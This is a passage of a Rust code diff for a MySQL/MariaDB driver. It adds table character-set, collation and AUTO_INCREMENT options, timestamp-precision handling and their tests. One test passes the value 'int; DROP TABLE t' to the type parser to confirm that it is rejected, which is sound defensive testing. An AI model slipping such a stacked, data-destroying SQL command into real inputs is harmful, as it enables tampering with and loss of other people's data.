+        let picked = converting(|draft| {
+            edit_column(draft, "code", |column| {
+                column.character_set = Some("ascii".to_owned());
+                column.collation = Some("ascii_bin".to_owned());
+            });
+        });
+        let renamed = converting(|draft| edit_column(draft, "email", |column| column.name = "mail".to_owned()));
+        let rekeyed = converting(|draft| {
+            draft.columns.retain(|column| column.name != "id");
+            edit_column(draft, "account_id", |column| {
+                column.primary_key = true;
+                column.nullable = false;
+            });
+        });
+        let unkeyed = converting(|draft| draft.columns.retain(|column| column.name != "id"));
+
+        for plan in [&commented, &picked, &renamed, &rekeyed, &unkeyed] {
+            assert!(
+                refused(plan, DdlOperation::AlterTableOptions, &RefusalReason::ColumnsConverted),
+                "{plan:?}"
+            );
+        }
+    }
+
+    #[test]
+    fn a_column_takes_its_drafted_character_set() {
+        let plan = alter(&attributed(), |draft| {
+            edit_column(draft, "code", |column| {
+                column.character_set = Some("latin1".to_owned());
+                column.collation = Some("latin1_bin".to_owned());
+            });
+        });
+
+        assert_eq!(
+            sql(plan),
+            [
+                "ALTER TABLE `app`.`users` MODIFY COLUMN `code` varchar(20) CHARACTER SET `latin1` COLLATE \
+              `latin1_bin` NULL"
+            ]
+        );
+    }
+
+    #[test]
+    fn the_counter_joins_the_alter_that_turns_numbering_on() {
+        let alone = alter(&optioned(Some(10)), |draft| {
+            draft_options(draft).next_auto_increment = Some(500);
+        });
+        let numbered = alter(&optioned(None), |draft| {
+            edit_column(draft, "id", |column| column.auto_increment = true);
+            draft_options(draft).next_auto_increment = Some(500);
+        });
+
+        assert_eq!(sql(alone), ["ALTER TABLE `app`.`users` AUTO_INCREMENT = 500"]);
+        assert_eq!(
+            sql(numbered),
+            ["ALTER TABLE `app`.`users` MODIFY COLUMN `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT = 500"]
+        );
+    }
+
+    #[test]
+    fn a_table_read_without_options_offers_and_takes_none() {
+        let table = attributed();
+
+        let plan = alter(&table, |draft| {
+            draft.options = Some(DraftTableOptions {
+                next_auto_increment: Some(5),
+                ..DraftTableOptions::default()
+            });
+        });
+
+        assert!(!dialect().table_capabilities(&table).table_options);
+        assert!(dialect().table_capabilities(&optioned(None)).table_options);
+        assert_eq!(plan, Err(BuildDdlError::Unsupported(DdlOperation::AlterTableOptions)));
+    }
+
+    #[test]
+    fn a_new_table_is_created_with_its_options() {
+        let mut draft = TableDraft::new(TableRef::unqualified("notes"));
+        let mut id = typed("id", "BIGINT");
+        id.primary_key = true;
+        id.nullable = false;
+        id.auto_increment = true;
+        draft.columns = vec![id];
+        draft.options = Some(DraftTableOptions {
+            character_set: Some("utf8mb4".to_owned()),
+            collation: Some("utf8mb4_bin".to_owned()),
+            converts_columns: false,
+            next_auto_increment: Some(100),
+        });
+
+        assert_eq!(
+            sql(dialect().plan_create_table(&draft)),
+            [
+                "CREATE TABLE `notes` (\n  `id` BIGINT NOT NULL AUTO_INCREMENT,\n  PRIMARY KEY (`id`)\n) DEFAULT \
+                 CHARACTER SET = `utf8mb4` COLLATE = `utf8mb4_bin` AUTO_INCREMENT = 100"
+            ]
+        );
+    }
+
+    #[test]
+    fn every_text_spelling_keeps_its_character_set_and_a_national_one_takes_none() {
+        for (spelling, holds_text) in [
+            ("VARCHAR (64)", true),
+            ("character varying(64)", true),
+            ("char varying(64)", true),
+            ("character(10)", true),
+            ("ENUM ('a','b')", true),
+            ("nvarchar(10)", false),
+        ] {
+            let plan = alter(&attributed(), |draft| {
+                edit_column(draft, "code", |column| {
+                    column.column_type = DraftType::Typed(spelling.to_owned())
+                });
+            });
+
+            let character_set = match holds_text {
+                true => " CHARACTER SET `utf8mb4` COLLATE `utf8mb4_bin`",
+                false => "",
+            };
+            assert_eq!(
+                sql(plan),
+                [format!(
+                    "ALTER TABLE `app`.`users` MODIFY COLUMN `code` {spelling}{character_set} NULL"
+                )],
+                "{spelling}"
+            );
+        }
+    }
+
+    #[test]
+    fn on_update_follows_the_precision_of_the_new_type() {
+        for (spelling, on_update) in [
+            ("timestamp(6)", "CURRENT_TIMESTAMP(6)"),
+            ("TIMESTAMP (3)", "CURRENT_TIMESTAMP(3)"),
+            ("datetime", "CURRENT_TIMESTAMP"),
+        ] {
+            let plan = alter(&attributed(), |draft| {
+                edit_column(draft, "stamp", |column| {
+                    column.column_type = DraftType::Typed(spelling.to_owned())
+                });
+            });
+
+            assert_eq!(
+                sql(plan),
+                [format!(
+                    "ALTER TABLE `app`.`users` MODIFY COLUMN `stamp` {spelling} NULL ON UPDATE {on_update} INVISIBLE"
+                )],
+                "{spelling}"
+            );
+        }
+    }
+
+    fn stamped(read_as: &str) -> TableDefinition {
+        let mut table = users();
+        let mut made = column("made", "datetime(3)", false);
+        made.info.default = ColumnDefault::Expression(SqlExpression::from_catalog_text(read_as));
+        table.columns.push(made);
+        table
+    }
+
+    #[test]
+    fn a_current_timestamp_default_as_read_follows_the_precision_of_the_new_type() {
+        for (engine, read_as) in [(dialect(), "CURRENT_TIMESTAMP(3)"), (mariadb(), "current_timestamp(3)")] {
+            for (spelling, default) in [
+                ("datetime(6)", "CURRENT_TIMESTAMP(6)"),
+                ("datetime", "CURRENT_TIMESTAMP"),
+                ("TIMESTAMP (3)", "CURRENT_TIMESTAMP(3)"),
+            ] {
+                let plan = alter_on(&engine, &stamped(read_as), |draft| {
+                    edit_column(draft, "made", |column| {
+                        column.column_type = DraftType::Typed(spelling.to_owned())
+                    });
+                });
+
+                assert_eq!(
+                    sql(plan),
+                    [format!(
+                        "ALTER TABLE `app`.`users` MODIFY COLUMN `made` {spelling} NULL DEFAULT {default}"
+                    )],
+                    "{read_as} as {spelling}"
+                );
+            }
+        }
+    }
+
+    #[test]
+    fn a_default_the_user_typed_keeps_its_text() {
+        let plan = alter(&stamped("CURRENT_TIMESTAMP(3)"), |draft| {
+            edit_column(draft, "made", |column| {
+                column.column_type = DraftType::Typed("datetime(6)".to_owned());
+                column.default = ColumnDefault::Expression(SqlExpression::from_catalog_text("now(6)"));
+            });
+        });
+
+        assert_eq!(
+            sql(plan),
+            ["ALTER TABLE `app`.`users` MODIFY COLUMN `made` datetime(6) NULL DEFAULT now(6)"]
+        );
+    }
+
     #[test]
     fn every_type_suggestion_parses() {
         let dialect = dialect();
diff --git a/linux/crates/drivers/mysql/src/ddl/mysql_column_definition.rs b/linux/crates/drivers/mysql/src/ddl/mysql_column_definition.rs
index 7512e73dbc..7e9ee19db9 100644
--- a/linux/crates/drivers/mysql/src/ddl/mysql_column_definition.rs
+++ b/linux/crates/drivers/mysql/src/ddl/mysql_column_definition.rs
@@ -33,11 +33,11 @@ pub(crate) fn render(dialect: &MySqlDialect, column: &DraftColumn) -> Result<Str
         parts.push(format!("REF_SYSTEM_ID={srid}"));
     }
     if holds_text(column, kind) {
-        if let Some(character_set) = &kept.character_set {
+        if let Some(character_set) = &column.character_set {
             parts.push(format!("CHARACTER SET {}", dialect.quote_identifier(character_set)));
         }
-        if let Some(collation) = &kept.collation {
-            parts.push(format!("COLLATE {}", dialect.quote_identifier(&collation.name)));
+        if let Some(collation) = &column.collation {
+            parts.push(format!("COLLATE {}", dialect.quote_identifier(collation)));
         }
     }
     let nullability = if column.nullable { "NULL" } else { "NOT NULL" };
@@ -60,17 +60,25 @@ pub(crate) fn render(dialect: &MySqlDialect, column: &DraftColumn) -> Result<Str
             if !column.auto_increment
                 && let Some(default) = default_sql(dialect, &column.name, &column.default, &resolved.column_type)?
             {
+                let default = match kind {
+                    ColumnKind::Timestamp { fractional_digits, .. } if default_as_read(column) => {
+                        current_timestamp_sql(&default, *fractional_digits)
+                    }
+                    // A default the user typed goes as they wrote it.
+                    _ => default,
+                };
                 parts.push(format!(
                     "DEFAULT {}",
                     default_clause(&column.default, &default, &resolved.sql)
                 ));
             }
-            if let Some(expression) = kept
-                .on_update
-                .as_ref()
-                .filter(|_| matches!(kind, ColumnKind::Timestamp { .. }))
+            if let Some(expression) = &kept.on_update
+                && let ColumnKind::Timestamp { fractional_digits, .. } = kind
             {
-                parts.push(format!("ON UPDATE {}", expression.as_sql()));
+                parts.push(format!(
+                    "ON UPDATE {}",
+                    current_timestamp_sql(expression.as_sql(), *fractional_digits)
+                ));
             }
             if column.auto_increment {
                 parts.push("AUTO_INCREMENT".to_owned());
@@ -154,6 +162,24 @@ fn holds_text(column: &DraftColumn, kind: &ColumnKind) -> bool {
         || matches!(kind, ColumnKind::Text { .. } | ColumnKind::Enum { .. })
 }
 
+fn default_as_read(column: &DraftColumn) -> bool {
+    column
+        .original
+        .as_ref()
+        .is_some_and(|original| original.info.default == column.default)
+}
+
+/// MySQL takes a CURRENT_TIMESTAMP default or ON UPDATE only at the
+/// column's own precision (1067, 1294), so a restated one follows the
+/// type the column now has.
+fn current_timestamp_sql(expression: &str, fractional_digits: Option<u8>) -> String {
+    match fractional_digits {
+        Some(0) if is_current_timestamp(expression) => "CURRENT_TIMESTAMP".to_owned(),
+        Some(digits) if is_current_timestamp(expression) => format!("CURRENT_TIMESTAMP({digits})"),
+        _ => expression.to_owned(),
+    }
+}
+
 /// MySQL takes an expression default only in parentheses, apart from the
 /// CURRENT_TIMESTAMP family, and takes a literal on a BLOB, TEXT, JSON or
 /// spatial column only as an expression.
@@ -233,6 +259,27 @@ mod tests {
         assert!(!is_current_timestamp("current_timestamp(),"));
     }
 
+    #[test]
+    fn current_timestamp_takes_the_precision_of_the_type() {
+        assert_eq!(
+            current_timestamp_sql("CURRENT_TIMESTAMP", Some(6)),
+            "CURRENT_TIMESTAMP(6)"
+        );
+        assert_eq!(
+            current_timestamp_sql("current_timestamp(6)", Some(0)),
+            "CURRENT_TIMESTAMP"
+        );
+        assert_eq!(current_timestamp_sql("now(3)", Some(3)), "CURRENT_TIMESTAMP(3)");
+        assert_eq!(
+            current_timestamp_sql("CURRENT_TIMESTAMP(3)", None),
+            "CURRENT_TIMESTAMP(3)"
+        );
+        assert_eq!(
+            current_timestamp_sql("'2024-01-01 00:00:00'", Some(6)),
+            "'2024-01-01 00:00:00'"
+        );
+    }
+
     #[test]
     fn a_comment_doubles_its_quotes_and_backslashes() {
         assert_eq!(comment_literal(r"it's \ x"), r"'it''s \\ x'");
diff --git a/linux/crates/drivers/mysql/src/dialect.rs b/linux/crates/drivers/mysql/src/dialect.rs
index f572311033..dedd423ca4 100644
--- a/linux/crates/drivers/mysql/src/dialect.rs
+++ b/linux/crates/drivers/mysql/src/dialect.rs
@@ -155,7 +155,8 @@ impl SqlDialect for MySqlDialect {
 
     fn parse_type(&self, text: &str) -> Result<ColumnType, TypeSyntaxError> {
         let parsed = parse_type(SqlGrammar::MySql, text, MAX_TYPE_LEN)?;
-        let declared = parsed.text.as_str();
+        let spelled = catalog_spelling(&parsed.text);
+        let declared = spelled.as_str();
         let data_type = data_type_of(declared);
         let args = arguments(declared);
         let first = args.first().copied();
@@ -202,6 +203,29 @@ impl SqlDialect for MySqlDialect {
     }
 }
 
+/// A typed type as COLUMN_TYPE would spell it, so it classifies as the
+/// catalogue's does: no space before the parentheses, and the standard
+/// names of CHAR and VARCHAR in MySQL's own words. A national spelling
+/// stays as typed, since it takes no CHARACTER SET.
+fn catalog_spelling(typed: &str) -> String {
+    let typed = typed.trim();
+    let (head, arguments) = typed.split_at(typed.find('(').unwrap_or(typed.len()));
+    let words: Vec<&str> = head.split_whitespace().collect();
+    let is = |index: usize, word: &str| words.get(index).is_some_and(|found| found.eq_ignore_ascii_case(word));
+    let (name, rest) = if (is(0, "character") || is(0, "char")) && is(1, "varying") {
+        ("varchar", words.get(2..).unwrap_or_default())
+    } else if is(0, "character") {
+        ("char", words.get(1..).unwrap_or_default())
+    } else {
+        return format!("{}{arguments}", head.trim_end());
+    };
+    let name = std::iter::once(name)
+        .chain(rest.iter().copied())
+        .collect::<Vec<_>>()
+        .join(" ");
+    format!("{name}{arguments}")
+}
+
 /// The type's leading name, as DATA_TYPE would spell it.
 fn data_type_of(declared: &str) -> String {
     let lower = declared.trim().to_ascii_lowercase();
@@ -699,6 +723,43 @@ mod tests {
         assert!(dialect.parse_type("int; DROP TABLE t").is_err());
     }
 
+    #[test]
+    fn a_standard_or_spaced_text_spelling_holds_text() {
+        let dialect = dialect(MySqlFlavour::MySql);
+        let kind = |typed: &str| dialect.parse_type(typed).map(|column| column.kind);
+        let varying = Ok(ColumnKind::Text {
+            length: TextLength::Varying(64),
+        });
+
+        assert_eq!(kind("VARCHAR (64)"), varying);
+        assert_eq!(kind("character varying(64)"), varying);
+        assert_eq!(kind("CHAR VARYING (64)"), varying);
+        assert_eq!(
+            kind("character(10)"),
+            Ok(ColumnKind::Text {
+                length: TextLength::Fixed(10)
+            })
+        );
+        assert_eq!(
+            kind("ENUM ('a','b')"),
+            Ok(ColumnKind::Enum {
+                labels: vec!["a".to_owned(), "b".to_owned()],
+                multiple: false
+            })
+        );
+        assert!(matches!(
+            kind("TIMESTAMP (6)"),
+            Ok(ColumnKind::Timestamp {
+                fractional_digits: Some(6),
+                ..
+            })
+        ));
+        assert_eq!(kind("nvarchar(10)"), Ok(ColumnKind::Other));
+        assert_eq!(kind("nchar(10)"), Ok(ColumnKind::Other));
+        assert_eq!(catalog_spelling("int(10) unsigned"), "int(10) unsigned");
+        assert_eq!(catalog_spelling("double precision"), "double precision");
+    }
+
     #[test]
     fn history_withholds_statements_that_carry_credentials() {
         for sql in [
diff --git a/linux/crates/drivers/mysql/src/metadata.rs b/linux/crates/drivers/mysql/src/metadata.rs
index a9365a21a1..2392af170e 100644
--- a/linux/crates/drivers/mysql/src/metadata.rs
+++ b/linux/crates/drivers/mysql/src/metadata.rs
@@ -9,8 +9,8 @@ use sqlx::mysql::MySqlConnection;
 use sqlx::{AssertSqlSafe, Executor as _, Row as _};
 use tablepro_core::column::{ColumnDefault, ColumnInfo, ColumnKind, SqlExpression, TemporalZone};
 use tablepro_core::ddl::{
-    ColumnDefinition, InboundForeignKey, OutboundForeignKey, PrimaryKeyConstraint, ReferentialAction, TableDefinition,
-    TableSource, UnmodeledAttribute,
+    CharacterSet, ColumnDefinition, InboundForeignKey, OutboundForeignKey, PrimaryKeyConstraint, ReferentialAction,
+    TableDefinition, TableOptions, TableSource, UnmodeledAttribute,
 };
 use tablepro_core::dialect::SqlDialect;
 use tablepro_core::meta::{
@@ -20,10 +20,11 @@ use tablepro_core::meta::{
 use tablepro_core::{DriverError, ForeignKeyInfo, Value};
 
 use crate::catalog::{
-    COLUMN_COMPARISONS_SQL, COLUMN_ENGINE_ATTRIBUTES_SQL, CatalogCells, ColumnCheck, INBOUND_FOREIGN_KEYS_SQL,
-    ListedSrid, MARIADB_COLUMN_CHECKS_SQL, MARIADB_GEOMETRY_SRIDS_SQL, MySqlColumnRow, TableComparisons, column_checks,
-    column_comparisons, column_definition, column_info, columns_sql, compares_alike, geometry_srids,
-    inbound_foreign_keys, place_column_checks, quoted_default,
+    CHARACTER_SETS_SQL, COLLATIONS_SQL, COLUMN_COMPARISONS_SQL, COLUMN_ENGINE_ATTRIBUTES_SQL, CatalogCells,
+    ColumnCheck, FULL_COLLATION_NAMES_SQL, FULL_COLLATIONS_SQL, INBOUND_FOREIGN_KEYS_SQL, ListedOptions, ListedSrid,
+    MARIADB_COLUMN_CHECKS_SQL, MARIADB_GEOMETRY_SRIDS_SQL, MySqlColumnRow, TableComparisons, character_sets,
+    column_checks, column_comparisons, column_definition, column_info, columns_sql, compares_alike, geometry_srids,
+    inbound_foreign_keys, place_column_checks, quoted_default, table_options,
 };
 use crate::decode::decode_row;
 use crate::dialect::MySqlDialect;
@@ -31,7 +32,7 @@ use crate::errors::map_error;
 use crate::flavour::MySqlFlavour;
 use crate::mysql_timestamp_mode::MySqlTimestampMode;
 use crate::mysql_wire_format::MySqlWireFormat;
-use crate::table_engine;
+use crate::table_engine::{self, TableEngine};
 
 /// Rows of a catalogue query whose parameters are all text or NULL.
 pub(crate) async fn catalog_rows(
@@ -483,6 +484,7 @@ pub(crate) async fn fetch_table_definition(
         });
     let foreign_keys = fetch_foreign_keys(connection, flavour, table).await?;
     let inbound_foreign_keys = fetch_inbound_foreign_keys(connection, flavour, table).await?;
+    let options = definition_options(&engine, flavour, &create_statement, &columns);
     Ok(TableDefinition {
         table: table.clone(),
         columns,
@@ -494,9 +496,59 @@ pub(crate) async fn fetch_table_definition(
             create_statement,
             dependents: Vec::new(),
         }),
+        options,
     })
 }
 
+/// NDB's table options were never measured, so none are offered.
+fn definition_options(
+    engine: &TableEngine,
+    flavour: MySqlFlavour,
+    create_statement: &str,
+    columns: &[ColumnDefinition],
+) -> Option<TableOptions> {
+    if engine.is_ndb() {
+        return None;
+    }
+    let listed = ListedOptions {
+        collation: engine.collation.as_deref(),
+        auto_increment: engine.auto_increment,
+        create_statement,
+        numbered: columns.iter().any(|column| column.info.is_auto_increment),
+    };
+    table_options(listed, flavour)
+}
+
+/// The character sets and collations the server offers. Collations come
+/// from where the server spells the names tables carry.
+pub(crate) async fn fetch_character_sets(
+    connection: &mut MySqlConnection,
+    flavour: MySqlFlavour,
+) -> Result<Vec<CharacterSet>, DriverError> {
+    let sets = catalog_rows(connection, flavour, CHARACTER_SETS_SQL, "CHARACTER_SETS", &[]).await?;
+    let full_names = catalog_rows(connection, flavour, FULL_COLLATION_NAMES_SQL, "COLUMNS", &[]).await?;
+    let listed_apart = full_names
+        .first()
+        .map(|row| row.number(0))
+        .transpose()?
+        .flatten()
+        .is_some_and(|count| count > 0);
+    let collations = match listed_apart {
+        true => {
+            catalog_rows(
+                connection,
+                flavour,
+                FULL_COLLATIONS_SQL,
+                "COLLATION_CHARACTER_SET_APPLICABILITY",
+                &[],
+            )
+            .await?
+        }
+        false => catalog_rows(connection, flavour, COLLATIONS_SQL, "COLLATIONS", &[]).await?,
+    };
+    character_sets(&sets, &collations)
+}
+
 /// A TIMESTAMP's constant default as wall time in the server's zone,
 /// which is where a schema change runs (`server_zone`), so restating it
 /// keeps the instant. This session reads in UTC, so SHOW CREATE TABLE
diff --git a/linux/crates/drivers/mysql/src/table_engine.rs b/linux/crates/drivers/mysql/src/table_engine.rs
index d8162a3ac5..8683ee0254 100644
--- a/linux/crates/drivers/mysql/src/table_engine.rs
+++ b/linux/crates/drivers/mysql/src/table_engine.rs
@@ -5,19 +5,27 @@ use tablepro_core::{DriverError, WriteAtomicity};
 use crate::flavour::MySqlFlavour;
 use crate::metadata::catalog_rows;
 
-/// The storage engine of a table, and whether that engine can roll back.
+/// The storage engine of a table, whether that engine can roll back, and
+/// the table's collation and counter as TABLES lists them.
 pub(crate) const TABLE_ENGINE_SQL: &str = "\
-SELECT t.ENGINE, e.TRANSACTIONS
+SELECT t.ENGINE, e.TRANSACTIONS, t.TABLE_COLLATION, t.AUTO_INCREMENT
 FROM information_schema.TABLES t
 LEFT JOIN information_schema.ENGINES e ON e.ENGINE = t.ENGINE
 WHERE t.TABLE_SCHEMA = COALESCE(?, DATABASE()) AND t.TABLE_NAME = ?";
 
-/// What a table's engine can promise a write.
+/// What a table's engine can promise a write, and the options TABLES
+/// lists beside it.
 #[derive(Debug, Clone, PartialEq, Eq, Default)]
 pub(crate) struct TableEngine {
     /// `None` for a view, or a table that is not there.
     pub engine: Option<String>,
     pub transactions: Option<String>,
+    /// `None` for a view.
+    pub collation: Option<String>,
+    /// Live on MariaDB. MySQL 8 caches it for up to a day
+    /// (`information_schema_stats_expiry`), so its counter is taken from
+    /// SHOW CREATE TABLE instead.
+    pub auto_increment: Option<u64>,
 }
 
 impl TableEngine {
@@ -57,6 +65,8 @@ pub(crate) async fn lookup(
     Ok(TableEngine {
         engine: row.text(0)?,
         transactions: row.text(1)?,
+        collation: row.text(2)?,
+        auto_increment: row.number(3)?,
     })
 }
 
@@ -68,6 +78,7 @@ mod tests {
         TableEngine {
             engine: Some("Engine".to_owned()),
             transactions: transactions.map(str::to_owned),
+            ..TableEngine::default()
         }
     }
 
@@ -84,7 +95,8 @@ mod tests {
         assert!(
             TableEngine {
                 engine: Some("ndbcluster".to_owned()),
-                transactions: Some("YES".to_owned())
+                transactions: Some("YES".to_owned()),
+                ..TableEngine::default()
             }
             .is_ndb()
         );
diff --git a/linux/crates/drivers/mysql/tests/integration/ddl.rs b/linux/crates/drivers/mysql/tests/integration/ddl.rs
index cba77d91b0..709d2b3f2b 100644
--- a/linux/crates/drivers/mysql/tests/integration/ddl.rs
+++ b/linux/crates/drivers/mysql/tests/integration/ddl.rs
@@ -2,8 +2,8 @@
 
 use tablepro_core::column::ColumnDefault;
 use tablepro_core::ddl::{
-    BuildDdlError, CollationName, ColumnVisibility, DraftColumn, DraftType, GeneratedStorage, Permission,
-    RefusalReason, TableDefinition, TableDraft, diff_table,
+    BuildDdlError, CollationName, ColumnVisibility, DraftColumn, DraftTableOptions, DraftType, GeneratedStorage,
+    Permission, RefusalReason, TableDefinition, TableDraft, TableOptions, diff_table,
 };
 use tablepro_core::{Connection, WriteKind};
 use tablepro_test_fixtures::{MysqlFlavour, MysqlOptions};
@@ -19,9 +19,16 @@ async fn read(connection: &dyn Connection) -> TableDefinition {
 
 /// Plan the edit against the table as read, run it, and read it again.
 async fn change(connection: &dyn Connection, edit: impl Fn(&mut DraftColumn)) -> (TableDefinition, TableDefinition) {
+    change_table(connection, |draft| draft.columns.iter_mut().for_each(edit)).await
+}
+
+async fn change_table(
+    connection: &dyn Connection,
+    edit: impl FnOnce(&mut TableDraft),
+) -> (TableDefinition, TableDefinition) {
     let before = read(connection).await;
     let mut draft = TableDraft::from_definition(&before);
-    draft.columns.iter_mut().for_each(edit);
+    edit(&mut draft);
     let dialect = connection.dialect();
     let plan = dialect
         .ddl()
@@ -527,3 +534,217 @@ async fn change_primary_key_to_composite_applies() {
     assert!(repeated.is_err(), "the key does not hold the line");
     connection.close().await.expect("a close");
 }
+
+fn draft_options(draft: &mut TableDraft) -> &mut DraftTableOptions {
+    draft.options.as_mut().expect("the table's options")
+}
+
+fn pair(definition: &TableDefinition, column: &str) -> (Option<String>, Option<String>) {
+    let attributes = &definition.column(column).expect("the column").attributes;
+    (
+        attributes.character_set.clone(),
+        attributes.collation.as_ref().map(|collation| collation.name.clone()),
+    )
+}
+
+fn named(character_set: &str, collation: &str) -> (Option<String>, Option<String>) {
+    (Some(character_set.to_owned()), Some(collation.to_owned()))
+}
+
+/// A new default leaves every column as it was, and both clauses go
+/// together because a character set alone resets the collation.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn table_default_and_counter_apply_and_read_back() {
+    for flavour in FLAVOURS {
+        let fixture = start(flavour).await;
+        let connection = connect(&fixture, false).await;
+        setup(
+            connection.as_ref(),
+            &[
+                "CREATE TABLE kept (id int AUTO_INCREMENT PRIMARY KEY, code varchar(20)) DEFAULT CHARSET=latin1 \
+                 COLLATE=latin1_swedish_ci",
+                "INSERT INTO kept (code) VALUES ('a'), ('b'), ('c')",
+            ],
+        )
+        .await;
+
+        let (before, after) = change_table(connection.as_ref(), |draft| {
+            let options = draft_options(draft);
+            options.character_set = Some("utf8mb4".to_owned());
+            options.collation = Some("utf8mb4_bin".to_owned());
+            options.next_auto_increment = Some(500);
+        })
+        .await;
+        setup(connection.as_ref(), &["INSERT INTO kept (code) VALUES ('d')"]).await;
+
+        let options = |character_set: &str, collation: &str, next: u64| {
+            Some(TableOptions {
+                character_set: Some(character_set.to_owned()),
+                collation: Some(collation.to_owned()),
+                next_auto_increment: Some(next),
+            })
+        };
+        assert_eq!(before.options, options("latin1", "latin1_swedish_ci", 4), "{flavour:?}");
+        assert_eq!(after.options, options("utf8mb4", "utf8mb4_bin", 500), "{flavour:?}");
+        assert_eq!(
+            pair(&after, "code"),
+            named("latin1", "latin1_swedish_ci"),
+            "{flavour:?}"
+        );
+        assert_eq!(
+            text(&scalar(connection.as_ref(), "SELECT id FROM kept WHERE code = 'd'").await),
+            "500",
+            "{flavour:?}"
+        );
+        connection.close().await.expect("a close");
+    }
+}
+
+/// A foreign key or an index on a column the convert widens refuses it,
+/// so both are dropped first. A column added in the same save takes the
+/// convert's pair, and one the user gave a pair keeps it.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn convert_runs_after_the_drops_and_before_the_added_columns() {
+    for flavour in FLAVOURS {
+        let fixture = start(flavour).await;
+        let connection = connect(&fixture, false).await;
+        setup(
+            connection.as_ref(),
+            &[
+                "CREATE TABLE parent (code varchar(20) PRIMARY KEY) DEFAULT CHARSET=latin1",
+                "CREATE TABLE kept (id int PRIMARY KEY, code varchar(20), note varchar(1000), label varchar(20) \
+                 CHARACTER SET ascii, KEY by_note (note), CONSTRAINT kept_parent FOREIGN KEY (code) REFERENCES \
+                 parent (code)) DEFAULT CHARSET=latin1",
+                "INSERT INTO parent VALUES ('\u{e9}')",
+                "INSERT INTO kept VALUES (1, '\u{e9}', 'x', 'y')",
+            ],
+        )
+        .await;
+
+        let (_, after) = change_table(connection.as_ref(), |draft| {
+            let options = draft_options(draft);
+            options.character_set = Some("utf8mb4".to_owned());
+            options.collation = Some("utf8mb4_bin".to_owned());
+            options.converts_columns = true;
+            draft.foreign_keys.clear();
+            draft.indexes.retain(|index| index.name != "by_note");
+            draft
+                .columns
+                .push(DraftColumn::new("fresh", DraftType::Typed("varchar(20)".to_owned())));
+            let mut picked = DraftColumn::new("picked", DraftType::Typed("varchar(20)".to_owned()));
+            picked.character_set = Some("latin1".to_owned());
+            picked.collation = Some("latin1_bin".to_owned());
+            draft.columns.push(picked);
+        })
+        .await;
+
+        let collation = after.options.as_ref().and_then(|options| options.collation.as_deref());
+        assert_eq!(collation, Some("utf8mb4_bin"), "{flavour:?}");
+        assert_eq!(pair(&after, "code"), named("utf8mb4", "utf8mb4_bin"), "{flavour:?}");
+        assert_eq!(pair(&after, "label"), named("utf8mb4", "utf8mb4_bin"), "{flavour:?}");
+        assert_eq!(pair(&after, "fresh"), named("utf8mb4", "utf8mb4_bin"), "{flavour:?}");
+        assert_eq!(pair(&after, "picked"), named("latin1", "latin1_bin"), "{flavour:?}");
+        assert_eq!(
+            text(&scalar(connection.as_ref(), "SELECT HEX(code) FROM kept").await),
+            "C3A9",
+            "{flavour:?}"
+        );
+        connection.close().await.expect("a close");
+    }
+}
+
+/// A counter set in a statement before the MODIFY that turns numbering
+/// on is lost, so it goes in the same ALTER.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn counter_survives_turning_numbering_on() {
+    for flavour in FLAVOURS {
+        let fixture = start(flavour).await;
+        let connection = connect(&fixture, false).await;
+        setup(
+            connection.as_ref(),
+            &[
+                "CREATE TABLE kept (id int PRIMARY KEY, code varchar(20))",
+                "INSERT INTO kept VALUES (1, 'a'), (2, 'b'), (3, 'c')",
+            ],
+        )
+        .await;
+
+        let (before, after) = change_table(connection.as_ref(), |draft| {
+            for column in &mut draft.columns {
+                if column.name == "id" {
+                    column.auto_increment = true;
+                }
+            }
+            draft_options(draft).next_auto_increment = Some(500);
+        })
+        .await;
+        setup(connection.as_ref(), &["INSERT INTO kept (code) VALUES ('d')"]).await;
+
+        let next = |definition: &TableDefinition| {
+            definition
+                .options
+                .as_ref()
+                .and_then(|options| options.next_auto_increment)
+        };
+        assert_eq!(next(&before), None, "{flavour:?}");
+        assert_eq!(next(&after), Some(500), "{flavour:?}");
+        assert_eq!(
+            text(&scalar(connection.as_ref(), "SELECT id FROM kept WHERE code = 'd'").await),
+            "500",
+            "{flavour:?}"
+        );
+        connection.close().await.expect("a close");
+    }
+}
+
+/// A standard or spaced spelling of a text type is still text, so its
+/// character set is restated, and a TIMESTAMP's ON UPDATE and a
+/// CURRENT_TIMESTAMP default take the precision of the new type, which
+/// MySQL requires.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn a_retyped_column_keeps_its_character_set_and_on_update() {
+    for flavour in FLAVOURS {
+        let fixture = start(flavour).await;
+        let connection = connect(&fixture, false).await;
+        setup(
+            connection.as_ref(),
+            &[
+                "CREATE TABLE kept (id int PRIMARY KEY, code varchar(20) CHARACTER SET latin1 COLLATE latin1_bin, \
+               spaced varchar(20) CHARACTER SET latin1 COLLATE latin1_bin, stamp timestamp NULL DEFAULT NULL ON \
+               UPDATE CURRENT_TIMESTAMP, made datetime NULL DEFAULT CURRENT_TIMESTAMP)",
+            ],
+        )
+        .await;
+
+        let (_, after) = change(connection.as_ref(), |column| {
+            let retyped = match column.name.as_str() {
+                "code" => "character varying(64)",
+                "spaced" => "VARCHAR (64)",
+                "stamp" => "timestamp(6)",
+                "made" => "datetime(6)",
+                _ => return,
+            };
+            column.column_type = DraftType::Typed(retyped.to_owned());
+        })
+        .await;
+
+        assert_eq!(pair(&after, "code"), named("latin1", "latin1_bin"), "{flavour:?}");
+        assert_eq!(pair(&after, "spaced"), named("latin1", "latin1_bin"), "{flavour:?}");
+        assert_eq!(type_of(&after, "code"), "varchar(64)", "{flavour:?}");
+        let on_update = after
+            .column("stamp")
+            .and_then(|column| column.attributes.on_update.as_ref())
+            .map(|expression| expression.as_sql().to_ascii_lowercase());
+        assert_eq!(on_update.as_deref(), Some("current_timestamp(6)"), "{flavour:?}");
+        let default = match after.column("made").map(|column| &column.info.default) {
+            Some(ColumnDefault::Expression(expression)) => Some(expression.as_sql().to_ascii_lowercase()),
+            _ => None,
+        };
+        assert_eq!(default.as_deref(), Some("current_timestamp(6)"), "{flavour:?}");
+        connection.close().await.expect("a close");
+    }
+}
diff --git a/linux/crates/drivers/mysql/tests/integration/metadata.rs b/linux/crates/drivers/mysql/tests/integration/metadata.rs
index 6f03b3aa32..e5c0b7123c 100644
--- a/linux/crates/drivers/mysql/tests/integration/metadata.rs
